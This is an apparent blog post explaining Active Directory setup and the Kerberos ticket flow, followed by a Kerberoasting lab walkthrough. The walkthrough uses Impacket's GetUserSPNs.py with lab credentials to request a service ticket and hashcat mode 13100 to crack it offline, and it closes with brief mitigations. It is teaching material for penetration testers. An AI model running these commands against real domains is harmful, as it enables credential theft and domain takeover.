<p><img src="https://media.giphy.com/media/v1.Y2lkPWVjZjA1ZTQ3NDQ2azF4NWVrY2RpNm15cHdnMzlmYWkwNWdxZDkzNHVsODl6M2VwaCZlcD12MV9naWZzX3NlYXJjaCZjdD1n/3o7buhUyOZDo2T2oco/giphy.gif" alt class="image--center mx-auto" /></p>
]]></content:encoded></item><item><title><![CDATA[Dissecting Kerberos]]></title><description><![CDATA[I wrote this article because I personally couldn’t find anyone on the internet explaining Kerberos detailed enough separately or while teaching Kerberoasting, most of them just ran tools. And if they did, they didn’t dive deep enough.
What can you ex...]]></description><link>https://blog.redteamers.in/dissecting-kerberos</link><guid isPermaLink="true">https://blog.redteamers.in/dissecting-kerberos</guid><category><![CDATA[Kerberos]]></category><category><![CDATA[kerberoasting]]></category><category><![CDATA[Active Directory]]></category><dc:creator><![CDATA[Anand Darshan]]></dc:creator><pubDate>Thu, 24 Apr 2025 12:54:30 GMT</pubDate><enclosure url="https://cdn.hashnode.com/res/hashnode/image/upload/v1745396941064/9db7f44b-ace6-411b-9603-c97ac482c6e6.jpeg" length="0" type="image/jpeg"/><content:encoded><![CDATA[<p>I wrote this article because I personally couldn’t find anyone on the internet explaining Kerberos detailed enough separately or while teaching Kerberoasting, most of them just ran tools. And if they did, they didn’t dive deep enough.</p>
<h2 id="heading-what-can-you-expect-from-this-article">What can you expect from this article?</h2>
<p>This article breaks down the working of Kerberos to its tiniest bits in a beginner friendly way.</p>
<p>Later in the article, I discuss how an attacker under very specific condition can exploit Kerberos Ticketing system using a technique called Kerberoasting.</p>
<p>The article doesn’t include lab build used for Kerberoasting. It includes a basic network structure and environment brief, required to understand the concept. If you guys would want me to make detailed lab guide separately, then let me know on <a target="_blank" href="https://www.linkedin.com/in/anand-darshan-520987202/">linkedin</a> or here.</p>
<h2 id="heading-prerequisites">Prerequisites</h2>
<p>I assume no knowledge of Active Directory from readers as I explain each topics on the go or keep the technical terms to minimal ( while also explaining those ) but having a bit of familiarity with AD would be helpful.</p>
<h2 id="heading-special-credit">Special Credit</h2>
<p>The diagrams below showing Kerberos authentication flow is taken from <strong>TryHackMe</strong>. It is the best possible diagram that I could find to match the level of breakdown I’ve done on Kerberos in this article. I do not own these images and give full credit to them.</p>
<h1 id="heading-okay-now-lets-get-on-with-it">Okay, now let’s get on with it!</h1>
<p><img src="https://media.giphy.com/media/v1.Y2lkPTc5MGI3NjExcjh2MnQwdGU0cGNxaDIzZXl1cjZtN3ZnYTN2ZTRwbnl5aWEzd29ubiZlcD12MV9zdGlja2Vyc19zZWFyY2gmY3Q9cw/Sx8VT0ETnB4cxWNyWU/giphy.gif" alt class="image--center mx-auto" /></p>
<h1 id="heading-so-first-of-all-what-is-kerberos">So first of all, What is Kerberos?</h1>
<p>Kerberos word is derived from Greek mythology where the name is referred to a 3-headed dog that guards the gate of underworld ( no dead leaves through this gate or no living enters through it ). In the mythology, it gatekeeps the underworld. And that’s the same thing the Kerberos protocol does here, it gatekeeps the Active Directory domain network. Let’s see what Kerberos is technically.</p>
<p>It is the default authentication protocol used in a MS Windows Active Directory environment that enables the user authenticated once to access different services without needing to authenticate again for service access ( Single Sign On ).</p>
<p>It works by giving users tickets which they can present to the resource ( service ) that they want to access proving that they already have been authentication. Think of tickets as "now authorized to use or access".</p>
<p>In AD environment, the entity that handles authentication and ticket generation is called Key Distribution Center ( KDC ). Kerberos uses a central authority and that’s <strong>Key Distribution Center (KDC).</strong> KDC comes inbuilt in the Domain Controller.</p>
<p>But wait, what’s Domain Controller?</p>
<p>Well, it is about time I introduced you to a few important Active Directory components necessary to grasp Kerberoasting. So before I tell you what Domain Controller is, you’ll need to understand the Active Directory a bit.</p>
<h3 id="heading-so-whats-active-directory">So what’s Active Directory?</h3>
<p><strong>Active Directory (AD)</strong> is a <strong>directory service</strong> by Microsoft that manages and authenticates <strong>users, computers, and resources</strong> in a <strong>Windows domain network ( you’ll understand what a domain network is when I explain what the domain is and show how a domain is created later )</strong>.</p>
<p>It uses <strong>LDAP ( Lightweight Directory Access Protocol )</strong> for directory access and <strong>Kerberos</strong> for authentication.</p>
<p>The core service is <strong>Active Directory Domain Services (AD DS)</strong>, running on <strong>Domain Controllers (DCs)</strong>. Don’t know what an AD DS or a DC is? Let’s find that out below.</p>
<p>This AD section is bit of a detour from the topic of the article, Kerberos. Those who want to skip it can continue reading from “<strong>Why does Kerberos use Tickets?</strong>”</p>
<hr />
<h1 id="heading-important-active-directory-components">Important Active Directory Components</h1>
<p>This section is optional to those who’re familiar with Active Directory Concepts.</p>
<p>If I started talking about Active Directory in detail then this article would turn pretty lengthy so I’m only explaining the few required components of AD which will make Kerberoasting easier to understand.</p>
<p>Before I explain, let’s see how a Windows Server after installation is setup to use Active Directory. This will make things pretty easy to understand.</p>
<p>So assuming that I’ve downloaded Windows Server 2022 ISO image file and have installed it on Virtual Machine, and then have booted it up</p>
<p>The first screen that you see after server boot is:</p>
<p><img src="https://cdn.hashnode.com/res/hashnode/image/upload/v1745312416272/b7178aec-9a77-405c-b89e-99b6e0717b72.png" alt class="image--center mx-auto" /></p>
<p>Now we need to setup a few things. You don’t need to understand these things while you setup or read the setup. Just read how it’s done for now. The terms in the setup section that you don’t understand like forests, AD DS, Domain Controller etc will be explained later ( My aim here to introduce you to those terms only and how they come in play when setting the AD up ) so don’t worry about it, for now.</p>
<p>I’ve renamed my PC ( server ) VM to HYDRA-DC and rebooted it.</p>
<p>At the time the local server is at its default, it has nothing configured and hence is not serving anything in the network.</p>
<h3 id="heading-setting-up-core-service-of-ad-ad-ds-active-directory-domain-services">Setting Up core service of AD : AD DS ( Active Directory Domain Services )</h3>
<p>The following series of screenshot shows the steps to install AD DS on the server:</p>
<p><img src="https://cdn.hashnode.com/res/hashnode/image/upload/v1745315589174/d65ae8d2-48eb-4164-a160-b00279f82428.png" alt class="image--center mx-auto" /></p>
<p><img src="https://cdn.hashnode.com/res/hashnode/image/upload/v1745315620732/008d78b7-765b-4b07-a485-49c3bf280c3c.png" alt class="image--center mx-auto" /></p>
<p><img src="https://cdn.hashnode.com/res/hashnode/image/upload/v1745316350791/5bc90abc-7204-4b30-a7b1-1384d9354873.png" alt class="image--center mx-auto" /></p>
<p>HYDRA-DC is the only server PC ( virtual machine ).</p>
<p><img src="https://cdn.hashnode.com/res/hashnode/image/upload/v1745316424164/7f1f0604-681c-4246-8fd5-2504d3a2c3e4.png" alt class="image--center mx-auto" /></p>
<p><img src="https://cdn.hashnode.com/res/hashnode/image/upload/v1745316506148/903b266c-06a8-4fc4-8899-c86edd476724.png" alt class="image--center mx-auto" /></p>
<p>next to the confirmation page</p>
<p><img src="https://cdn.hashnode.com/res/hashnode/image/upload/v1745316604341/b469fda6-790b-46d4-b1f2-6112b634ae44.png" alt class="image--center mx-auto" /></p>
<p>after a bit, you’ll be led to results page. The installation of AD DS is done.</p>
<p>Now to configure Domain Controller, let’s start with the results page.</p>
<h3 id="heading-setting-up-domain-controller-promoting-the-server-to-domain-controller">Setting up Domain Controller ( Promoting the server to Domain Controller )</h3>
<p>Now as soon as the core service of Active Directory, AD DS is installed. We’ll be given option to configure the domain controller too. The flow makes sense right?</p>
<p>Now the next few screenshots will show the steps to create a domain controller and a domain too:</p>
<p><img src="https://cdn.hashnode.com/res/hashnode/image/upload/v1745321208625/4ed46064-70b5-4b38-b834-e2ff46644379.png" alt class="image--center mx-auto" /></p>
<p>Click on “<strong>Promote this server to a domain controller</strong>”</p>
<p>Doing so will open the following up:</p>
<p><img src="https://cdn.hashnode.com/res/hashnode/image/upload/v1745321454740/17f1d1ae-6c5a-4e2c-b19a-994ecde709d3.png" alt class="image--center mx-auto" /></p>
<p>Now we can’t choose first two options as we don’t have an existing domain or an existing forest either so choose the “<strong>Add a new forest</strong>”. I’ll explain what a forest is, in a bit.</p>
<p>So we’re going to create a new forest and it’s gonna have just one domain in it, named as <strong>MARVEL.local</strong> (and that is the first domain in the forest hence will be called the Root domain)</p>
<p><img src="https://cdn.hashnode.com/res/hashnode/image/upload/v1745321838084/dbb470d0-3769-422d-82f0-c75bc52769fb.png" alt class="image--center mx-auto" /></p>
<p>next, fill the password.</p>
<p><img src="https://cdn.hashnode.com/res/hashnode/image/upload/v1745321908787/b93cbb31-211c-476a-9b3b-bbeadbe7bebc.png" alt class="image--center mx-auto" /></p>
<p>Now next, skip to the Prerequisites Check:</p>
<p><img src="https://cdn.hashnode.com/res/hashnode/image/upload/v1745321928309/b4393d42-6523-498b-bf44-b3d4d94b05ca.png" alt class="image--center mx-auto" /></p>
<p>click install. After installation it will reboot and now we can login to the new as domain admin.</p>
<p>As the domain we created was MARVEL.local, the admin account for that would be MARVEL\Administrator</p>
<p><img src="https://cdn.hashnode.com/res/hashnode/image/upload/v1745322402048/d2e484d2-d04c-4f54-a8ec-62de3f029986.png" alt class="image--center mx-auto" /></p>
<p>So now we’ve seen how Domains, AD DS, and Domain Controller are setup.</p>
<p>Let’s now try to understand briefly what are these.</p>
<h2 id="heading-domain">Domain</h2>
<p>Simply put, it’s a logical grouping of objects ( machines, users etc ) that share the same database. So it works like a boundary, any object inside this boundary ( domain ) has access to the resources within this boundary ( domain ).</p>
<p>Example name of a domain would be: redteamers.local, a domain can have child domains too like blog.redteamers.local and test.redteamers.local. And this structure of parent and child domains forms what is called a tree</p>
<h3 id="heading-tree">Tree</h3>
<p>Tree is a special hierarchical structure formed based on Parent and Child domain that looks like the following:</p>
<p><img src="https://cdn.hashnode.com/res/hashnode/image/upload/v1745337514122/a763f4c8-30ea-4e05-9cf2-3a4ae8d23a90.png" alt class="image--center mx-auto" /></p>
<p>In trees, parent and child domain both trust each other, this trust is 2 way ( called 2 way transitive trust ).</p>
<h3 id="heading-forest">Forest</h3>
<p>In lab setup section, we came across something called Forest.</p>
<p>If I try to explain it in the simplest words, a forest is a group of domain trees linked together by trust relationships, where each domain tree has its own hierarchy.</p>
<h2 id="heading-ad-ds-active-directory-domain-service">AD DS ( Active Directory Domain Service )</h2>
<p>The core service of AD that enables a server’s directory system and managed by AD DS itself. What’s a directory in AD’s Context? Think of Directory like a database that keeps records of everything ( literally everything ) in the network. For example, AD DS will manage directory for users, computers, domains, trusts between those domains, permissions, groups etc.</p>
<p>The directory is stored on Domain Controller, only managed by AD DS. so What’s a Domain Controller?</p>
<h2 id="heading-domain-controller">Domain Controller</h2>
<p>Every Domain in a tree or a forest has at least one Domain Controller. Yes there can be multiple DC to manage single domain.</p>
<p>DC has few important roles which includes:</p>
<ul>
<li><p>Storing the directory ( AD DS managed directory ), mentioned priviously.</p>
</li>
<li><p>Providing authentication and authorization services</p>
</li>
<li><p>replicate/reflect the updates in the domain and the forest that the domain is part of.</p>
</li>
</ul>
<p>So that’s it.</p>
<hr />
<p>At this point I want to show you a comparison between a few components, which will further clarify the concepts:</p>
<p><img src="https://cdn.hashnode.com/res/hashnode/image/upload/v1745325397673/2d5ca551-f4a6-4bf4-a466-ee1cf13e8224.png" alt class="image--center mx-auto" /></p>
<p>These three are correlated, but the prime part of it all is DC. All these three are at the same machine.</p>
<hr />
<p>That’s most of what we needed to understand for things up ahead.</p>
<p>We’ve deviated quite a bit, so let’s get back at Kerberos. You now know what Kerberos is but there’s a question that needs answered before we proceed further.</p>
<h1 id="heading-why-does-kerberos-use-tickets">Why does Kerberos use tickets?</h1>
<p>Tickets help prevent passing credential over the network hence making the authentication more secure ( not entirely secure though ).</p>
<p>This ticket system helps verify a user's identity and allows services ( that the user wants to access ) to trust users without repeatedly asking for passwords.</p>
<p>In the Kerberos flow discussed up ahead, you’ll see that credentials ( hash ) are never passed over the network while authenticate, instead a signed ( encrypted ) tickets are passed.</p>
<p>Assume a network of multiple workstations ( each with users aka clients ) and a central server ( which has KDC inbuilt ) in a windows environment network. One of the client starts authentication process and it goes something like:</p>
<h1 id="heading-kerberos-working-flow">Kerberos working flow</h1>
<p>Below comes the entire Kerberos authentication flow, I recommend that you read and refer the corresponding image simultaneously to properly grasp the concept. Be warned, it gets lengthy. But I’ve got you.</p>
<h2 id="heading-1-user-requests-tgt-ticket-granting-ticket">1️⃣ User Requests TGT ( Ticket Granting Ticket ):</h2>
<p>In this, user(client) sends its username and a timestamp (encrypted with the key derived from user's password) to the KDC, requesting a TGT ( Ticket Granting Ticket ), a type of ticket that, when presented to the next authorized entity ( KDC again ), will grant another type of ticket ( in simpler words, a ticket that grants another type of ticket ).</p>
<h3 id="heading-note-timestamps-are-used-in-kerberos-because-the-tickets-generated-in-this-are-set-to-expire-after-a-certain-period-it-helps-prevent-other-attacks-like-replay-attacks"><code>NOTE: timestamps are used in kerberos because the tickets generated in this are set to expire after a certain period, it helps prevent other attacks ( like replay attacks ).</code></h3>
<h2 id="heading-2-kdcs-response-to-users-tgt-request">2️⃣ KDC’s Response to user’s TGT request</h2>
<p>KDC receives the TGT request and after user validation it sends back the requested TGT along with a session key together encrypted with krbtgt hash ( hash derived from krbtgt account - kerberos TGT account, an inbuilt account in KDC responsible for assigning tickets ) and a session key encrypted using user's hash key.</p>
<h3 id="heading-clearing-something-that-might-be-confusing-for-some-readers">Clearing something that might be confusing for some readers:</h3>
<p>A thing here that needs to be made clear is that the same session key is sent together with TGT ( encrypted using krbtgt hash ) and another one separately by encrypting it with user's hash.</p>
<p>This is done because TGT can’t be decrypted by user and hence the session key ( and TGT ) won’t be accessible to the user but if the same session key is sent separately by encrypting it with a key that user has ( user’s hash ), it will be able to decrypt the encrypted session key and use it in the next steps of the Kerberos authentication.</p>
<p>I’ve highlighted the same session keys in the response below ( yellow keys are same session keys ):</p>
<p><img src="https://cdn.hashnode.com/res/hashnode/image/upload/v1745224480517/1c638e9e-1c14-44fe-9d88-bd1178c155aa.png" alt class="image--center mx-auto" /></p>
<p>Look at the entire diagram below to understand it better.</p>
<h3 id="heading-note-here-tgt-cant-be-decrypted-by-the-user-requesting-it-as-it-doesnt-have-the-key-krbtgt-hash-krbtgt-account-is-only-at-kdc-which-is-the-part-of-domain-controller"><code>NOTE - here TGT can't be decrypted by the user requesting it as it doesn't have the key ( krbtgt hash ). krbtgt account, is only at KDC which is the part of Domain Controller.</code></h3>
<p>1st and 2nd request/response together looks like:</p>
<p><img src="https://cdn.hashnode.com/res/hashnode/image/upload/v1745223403430/91665225-262e-4c5d-8451-a970de250170.png" alt class="image--center mx-auto" /></p>
<p>( image credit - tryhackme )</p>
<h2 id="heading-3-reqeusting-tgs">3️⃣ Reqeusting TGS</h2>
<p>User first decrypts the session key received in the previous response using it's own hash, then it sends a request including username and timestamp ( together encrypted using the decrypted session key ), the TGT ( that it received in the previous response ) and the SPN ( Service Principle Name includes service details that it wants to access, here it's MSSQL server and the server that hosts it )</p>
<h2 id="heading-4-kdcs-response-to-users-request-for-tgs">4️⃣ KDC’s Response to user’s request for TGS</h2>
<p>KDC receives the request and verifies the encrypted TGT first by decrypting it with krbtgt hash.</p>
<p>Once that's done, it will generate another ticket, TGS ( Ticket Granting Service, a ticket that grants access to service ) and encrypts it using service owner hash ( In MS Active Directory environment, a service also has an associated account called as <strong>service account</strong>. So what's being referred to as service owner hash here is same as service account user's hash ).</p>
<p>There’s another key generated here called Svc Session Key. The encrypted TGS also contains this Svc Session Key ( service Session key ) in it.</p>
<p>The same Svc Session Key is separately encrypted using the session key ( the key to which user has so it can decrypt it and use it in the next step ).</p>
<p>The blue key in the diagram ( Svc Session key ) below follows the similar type of process as the session key ( yellow key ) in the 2nd step above ( refer to the response in the previous diagram and compare the yellow keys from it to the blue keys in this step, you’ll understand it ).</p>
<p><img src="https://cdn.hashnode.com/res/hashnode/image/upload/v1745224214078/e6108e4d-4728-4f61-876a-cb0d7a8e3ae2.png" alt class="image--center mx-auto" /></p>
<p>User after receiving the response first decrypts the encrypted Svc Session Key using the Session Key ( yellow key ). It uses yellow to decrypt and get the blue key. Then the following happens.</p>
<h2 id="heading-5-authentication-to-the-service">5️⃣ Authentication to the Service</h2>
<p>User when wanting to access the service will now send it’s username and timestamp encrypted together with the decrypted Svc Session Key, blue key ( received in previous step ).</p>
<p>And with that it will take the TGS received in the previous step and forward it to the Service Server ( SRV ) just as it received it ( remember the user doesn’t need to decrypt TGS, it just needs to forward it to the Service Server ).</p>
<p>Ther Service Server will now first use Service account user’s hash ( Service Owner hash ) and will try to decrypt the TGS. If it’s a valid TGS, it will successfully be decrypted.</p>
<p>Decryption will provide the Service Server; the TGS itself and the blue key ( the Svc Session Key ).</p>
<p>The Svc Session Key will then be used to decrypt the username and timestamp. This will help Service identify the user who is supposed to be given access to it’s service and for what period of time is this ticket ( TGS or service ticket ) valid.</p>
<p>After this period the service access to the user will be terminated mostly ( Access isn't <em>forcefully</em> cut off, but future requests with expired tickets are denied ).</p>
<p><img src="https://cdn.hashnode.com/res/hashnode/image/upload/v1745234343871/e0f77150-28b9-4147-b6db-cadc2a57893f.png" alt class="image--center mx-auto" /></p>
<p>And that is the entire working of Kerberos authentication. A pretty good protocol, involving quite a few keys and tickets just to authenticate a single user. That sounds like a protocol almost entirely secure, yes you’re right, almost it is. Almost!</p>
<h3 id="heading-so-the-entire-kerberos-authentication-flow-looks-something-like-following-when-summed-up-in-one-image">So, the entire Kerberos authentication flow looks something like following when summed up in one image:</h3>
<p><img src="https://cdn.hashnode.com/res/hashnode/image/upload/v1745223053150/1ed277fe-97d9-44b2-8748-75173863367b.png" alt class="image--center mx-auto" /></p>
<h1 id="heading-kerberos-flow-summary">Kerberos Flow Summary</h1>
<div class="hn-table">
<table>
<thead>
<tr>
<td><strong>Step</strong></td><td><strong>Purpose</strong></td><td><strong>What is Sent</strong></td><td><strong>Who Receives It</strong></td><td><strong>What is Returned</strong></td><td><strong>Encryption Used</strong></td><td><strong>Why It Matters</strong></td></tr>
</thead>
<tbody>
<tr>
<td><strong>1. User Requests TGT</strong></td><td>Start authentication</td><td>Username + Timestamp (encrypted with key derived from user’s password)</td><td><strong>KDC (Authentication Service)</strong></td><td>TGT + Session Key</td><td>TGT encrypted with <strong>krbtgt hash</strong>, Session Key encrypted with <strong>user hash</strong></td><td>Authenticates user without sending raw password; TGT allows next step</td></tr>
<tr>
<td><strong>2. KDC Sends TGT</strong></td><td>Grants access to request service ticket later</td><td>TGT + (Session Key encrypted with user’s hash)</td><td><strong>User</strong></td><td>N/A</td><td>TGT cannot be decrypted by user (krbtgt hash); Session Key can (user hash)</td><td>User now has a TGT and a Session Key for next interaction</td></tr>
<tr>
<td><strong>3. User Requests TGS</strong></td><td>Ask for access to a specific service</td><td>TGT + (Username + Timestamp encrypted with Session Key) + SPN ( Service Principle Name )</td><td><strong>KDC (Ticket Granting Service)</strong></td><td>TGS + Service Session Key</td><td>TGS encrypted with <strong>service account’s hash</strong>; Service Session Key encrypted with <strong>Session Key</strong></td><td>Validates TGT, generates ticket for the target service</td></tr>
<tr>
<td><strong>4. KDC Sends TGS</strong></td><td>Grants user access to the service</td><td>TGS + (Service Session Key encrypted with Session Key)</td><td><strong>User</strong></td><td>N/A</td><td>TGS ‘s content is not viewable to user (can’t be decrypted); user uses session key to get Service Session Key</td><td>User now holds the key to talk to the service securely</td></tr>
<tr>
<td><strong>5. User Authenticates to Service</strong></td><td>Present access ticket to the actual service</td><td>TGS + (Username + Timestamp encrypted with Service Session Key)</td><td><strong>Service Server</strong></td><td>Service access granted</td><td>TGS decrypted using <strong>service account’s hash</strong> to extract Service Session Key</td><td>Ensures only authorized users can access the service, with limited ticket validity</td></tr>
</tbody>
</table>
</div><p>I hope you understand how Kerberos works now.</p>
<p>Now we’ll look at how Kerberos can be exploited by attacker using Kerberoasting, which comparatively is easy to understand if you’ve read the Kerberos section and understood the flow well.</p>
<h1 id="heading-kerberoasting-bypassing-3-headed-gatekeeper">Kerberoasting - bypassing 3-headed GateKeeper</h1>
<hr />
<p>Now that you have a full understanding of Kerberos, let’s see how to do Kerberoasting.</p>
<h2 id="heading-whats-the-purpose-of-kerberoasting">What’s the purpose of Kerberoasting?</h2>
<p>Remember the typical flow of Kerberos? Well, in that flow, an attacker just needs to get to the 4th step i.e., <strong>getting a TGS is the goal attacker intends to achieve while attacking Kerberos</strong>.</p>
<h2 id="heading-why-hows-that-going-to-be-helpful">Why, how’s that going to be helpful?</h2>
<p>The attacker aim is to get the TGS because TGS is encrypted using Service account hash ( Service Owner hash ). After receiving TGS the attacker’s intends to decrypt the server’s account hash ( service account hash, same thing ). So in conclusion, compromising Service Account is Attacker’s final target.</p>
<p><img src="https://cdn.hashnode.com/res/hashnode/image/upload/v1745397346240/883b9902-390d-4f15-a2ce-efbc98ab3930.png" alt class="image--center mx-auto" /></p>
<h2 id="heading-why-would-the-attacker-want-to-decrypt-or-compromise-service-account-hash-whats-so-special-about-it">Why would the attacker want to decrypt or compromise service account hash? What’s so special about it?</h2>
<p>There’s a few reason why would the attacker want to compromise Service Account, but the main reason is that most service accounts are not configured/created keeping least privilege in mind and they often are added in the Domain Admin group ( giving the service running and the associated service account, admin level privileges ).</p>
<p>The Domain Admins don’t want to handle this assigning precise permissions to the service account as and when needed, and so, to avoid that, they simply put the Service account in the Domain Admin group.</p>
<h2 id="heading-specific-condition-kerberoasting-requires">Specific Condition Kerberoasting requires</h2>
<p>If you have read everything so far then it should be obvious what attacker needs for Kerberoasting to be a successful attack.</p>
<p>Assuming that the attacker is in the target network of multiple workstations ( PC ) and a D.C. ( Server ) with a single domain in a forest</p>
<ol>
<li><p>It is first required that the attacker has already compromised any standard user from the Active Directory environment ( typically, from any of the workstations ). It doesn’t matter what privileges the compromised account holds, it just needs to be a valid user account from the target Active Directory environment. In the hands-On section above, fcastle is the compromised user of the MARVEL.local domain.</p>
</li>
<li><p>Service accounts needs to be the members of Domain Admin group. More than often it is going to be the case that it will have the Domain Admin privileges,</p>
<ul>
<li>but it needs to be mentioned this separately that it is possible that the domain admin has followed least privilege and has assigned very precise permissions to the Service account instead of adding it straight to the Domain Admin Group.</li>
</ul>
</li>
</ol>
<p>That’s mostly it.</p>
<h1 id="heading-hands-on-how-to-do-kerberoasting-as-an-attacker-pentester">Hands On - How to do Kerberoasting as an attacker ( Pentester )</h1>
<hr />
<p>There are a few tools out there that can be used to do Kerberoasting but I personally have experience with using <a target="_blank" href="https://github.com/fortra/impacket">Impacket’s</a> <a target="_blank" href="https://github.com/fortra/impacket/blob/master/examples/GetUserSPNs.py">GetUserSPNs.py</a> ( I’ve included the links, you may go ahead and clone the repo and install it locally on your Kali VM, if you’re following along ).</p>
<h2 id="heading-lab-scenario">Lab Scenario</h2>
<p>Consider a network of multiple workstations and a Domain Controller ( named HYDRA-DC ) joined to a single domain ( named MARVEL.local ). I, attacker, have compromised one of the accounts in the domain through a workstation with the fcastle and now have its credentials and its access.</p>
<p>Network that I as an attacker, am a part of: 192.168.57.0/24</p>
<p>fcastle is the user that we’ve compromised ( the required compromised standard user for the attack to be successful, as mentioned previously in the Kerberoasting’s requirement )</p>
<p>I’ve found Domain Controller’s ( hosting KDC ) IP in the network, 192.168.57.250 ( using enumeration ).</p>
<h2 id="heading-getting-the-tgs-ticket">Getting the TGS ticket:</h2>
<p>In a kali linux terminal that has Impacket installed and GetUserSPNs.py available, run the following:</p>
<pre><code class="lang-bash">sudo GetUserSPNs.py MARVEL.local/fcastle:password@1 -dc-ip 192.168.57.250 -request
</code></pre>
<h3 id="heading-breakdown">Breakdown</h3>
<ul>
<li><p>GetUserSPNs.py is the tool name from Impacket we’re using.</p>
</li>
<li><p>Then we’re providing the compromised account details. MARVEL.local is the domain name fcastle is the user with password “password@1”.</p>
</li>
<li><p>Then we provide Domain Controller IP ( -dc-ip ) which is where KDC is located. Our request for TGS following TGT will be made to this DC’s KDC using fcastle’s credential ( a valid user of MARVEL domain )</p>
</li>
</ul>
<h3 id="heading-getuserspnss-output">GetUserSPNs’s Output</h3>
<p><img src="https://cdn.hashnode.com/res/hashnode/image/upload/v1745417053421/0644fe04-c26d-4c71-86f3-43fd42ba7f5c.png" alt class="image--center mx-auto" /></p>
<h3 id="heading-output-breakdown">Output Breakdown</h3>
<ul>
<li>The output shows Service Principle Name ( service details ) like it’s name, what groups is it a member of etc</li>
</ul>
<p><img src="https://cdn.hashnode.com/res/hashnode/image/upload/v1745417216689/e8c159e9-4622-4db2-8d6a-592a8b06fda9.png" alt class="image--center mx-auto" /></p>
<p>We can see in the SPN above that the service is a SQL Service.</p>
<ul>
<li>IMPORTANT FOR US: this portion of output is what we needed. The next long portion in the screenshot that looks like a long hash of something is TGS.</li>
</ul>
<p><img src="https://cdn.hashnode.com/res/hashnode/image/upload/v1745417432211/74139073-c917-4a05-9a62-01af2daecc21.png" alt class="image--center mx-auto" /></p>
<p>Do you notice tgs in the initial part of the ticket?</p>
<p><img src="https://cdn.hashnode.com/res/hashnode/image/upload/v1745417668842/68304e0c-7cfa-480d-a656-78ab88a6c2ed.png" alt class="image--center mx-auto" /></p>
<p>Also, keep the following highlighted part “23” after “<strong>$krb5tgs$</strong>” from TGS in my mind, it will soon be used to explain a thing in the next section</p>
<p><img src="https://cdn.hashnode.com/res/hashnode/image/upload/v1745419769645/d95dbadf-526a-44ac-af71-43627b5c49a8.png" alt class="image--center mx-auto" /></p>
<ul>
<li>Anyways, now that we have the TGS, let’s grab it and store it in a file.</li>
</ul>
<p><img src="https://cdn.hashnode.com/res/hashnode/image/upload/v1745420861072/21f44dbf-e495-46f9-a86e-90800db1b741.png" alt class="image--center mx-auto" /></p>
<h2 id="heading-brute-forcing-the-tgs-ticket-using-hashcat">Brute Forcing the TGS ticket using hashcat</h2>
<p>We have the TGS, what now?</p>
<ul>
<li><p>Attacker’s next step is to brute force TGS with a good password wordlist, converting every password to hash one by one, and trying every hash on TGS and see if it’s able to decrypt a part of TGS.</p>
</li>
<li><p>If it’s able to decrypt part of TGS, that means we’ve found the valid password for Service account ( because that’s what was used to encrypt TGS ).</p>
</li>
<li><p>This process is handled by hashcat. We just have to run the command with the right mode ( modes in hashcat means the type of protocol hash we’re targeting, based on that the hashcat will run those passwords from wordlist through the same protocol hash function so that it computes the right hash ).</p>
</li>
</ul>
<p>Hashcat will take TGS ( krbt.txt ) and wordlist as inputs.</p>
<p>It will take password from wordlist, look at the mode selected and run the password through the corresponding hash algorithm to get a password hash, try that password hash on TGS. That’s the flow it will follow.</p>
<h3 id="heading-cracking-the-tgs-ticket-hash">cracking the TGS ticket hash</h3>
<p>First let’s find out what mode we need to select for the TGS we’ve obtained.</p>
<p>Assuming that you have hashcat installed. Run the following in the terminal</p>
<pre><code class="lang-bash">sudo hashcat --<span class="hljs-built_in">help</span> | grep Kerberos
</code></pre>
<p><img src="https://cdn.hashnode.com/res/hashnode/image/upload/v1745423620678/65d18a56-e740-4acf-bf5d-55c1d491bfc3.png" alt class="image--center mx-auto" /></p>
<p>There’s 3 different modes available for TGS-REP, which one should we choose?</p>
<p>Let’s look the column with etype.</p>
<h3 id="heading-etype-encryption-type">etype ( encryption type )</h3>
<p>So look at the initial portion of the TGS</p>
<p><img src="https://cdn.hashnode.com/res/hashnode/image/upload/v1745419769645/d95dbadf-526a-44ac-af71-43627b5c49a8.png" alt class="image--center mx-auto" /></p>
<ul>
<li>You see the number “<code>23</code>” after <strong>$krb5tgs</strong>, that number tells us what algorithm is used by KDC to generate these tickets. That number is what’s called etype.</li>
</ul>
<p>There are three numbers “etypes” ( encryption types ) that you’ll see there typically. I’ve mentioned those numbers and their corresponding encryption algorithm with corresponding hashcat mode number below</p>
<ul>
<li><p><code>23</code> = RC4 → <strong>13100 Mode</strong></p>
</li>
<li><p><code>17</code> = AES128 → <strong>19600 Mode</strong></p>
</li>
<li><p><code>18</code> = AES256 → <strong>19700 Mode</strong></p>
</li>
</ul>
<p>So we’ll choose the mode 13100 as it’s the one with etype 23 ( that matches our TGS )</p>
<p><img src="https://cdn.hashnode.com/res/hashnode/image/upload/v1745424372141/9ea8b941-6549-4fb5-9bf8-30d21bf10998.png" alt class="image--center mx-auto" /></p>
<pre><code class="lang-bash">hashcat -m 13100 krbt.txt /usr/share/wordlists/rockyou.txt
</code></pre>
<p>We’ve run the hashcat using the mode 13100 on krbt.txt ( TGS ) and have provided rockyou.txt as wordlist.</p>
<h3 id="heading-output">Output</h3>
<p><img src="https://cdn.hashnode.com/res/hashnode/image/upload/v1745424498616/54569b89-6f9f-4c7a-9413-9e37dec3e5f2.png" alt class="image--center mx-auto" /></p>
<p>so we got service account ( which is a domain admin as it is a member of domain admin group ) cred “MYpassword123#”.</p>
<h1 id="heading-why-does-kerberoasting-in-real-world-matter">Why does Kerberoasting in real-world matter?</h1>
<p>Kerberoasting is dangerous because it allows attackers to extract service account hashes without sending suspicious traffic across the network. As cracking is done offline, detection becomes harder.</p>
<p>Once cracked, the attacker gains direct access to a domain account, often with elevated privileges, which may lead to the way for lateral movement or even full domain compromise.</p>
<p>And that’s it. Let’s briefly talk Mitigation also ( just for FYI ).</p>
<h1 id="heading-mitigation">Mitigation</h1>
<p>It’s obvious actually</p>
<ul>
<li><p>Don’t use weak password, if Service account password wasn’t weak its hash wouldn’t have been so easily cracked.</p>
</li>
<li><p>Don’t put Service Account in Domain Admin group. Even if somehow attacker compromises the Service account, it would be useless with standard privileges.</p>
</li>
</ul>
<p>And that’s where it all ends. Hope you grasped it all, if not, this article is not going anywhere. You can give it another go.</p>
<p>I also hope that you enjoyed reading this because I’ve invested quite a bit of time writing this.</p>
<p>If you want to give me feedback on the article, you can write me on <a target="_blank" href="https://www.linkedin.com/in/anand-darshan-520987202/">linkedin</a>.</p>
<hr />
<p>I’ll be seeing you in the next one.</p>
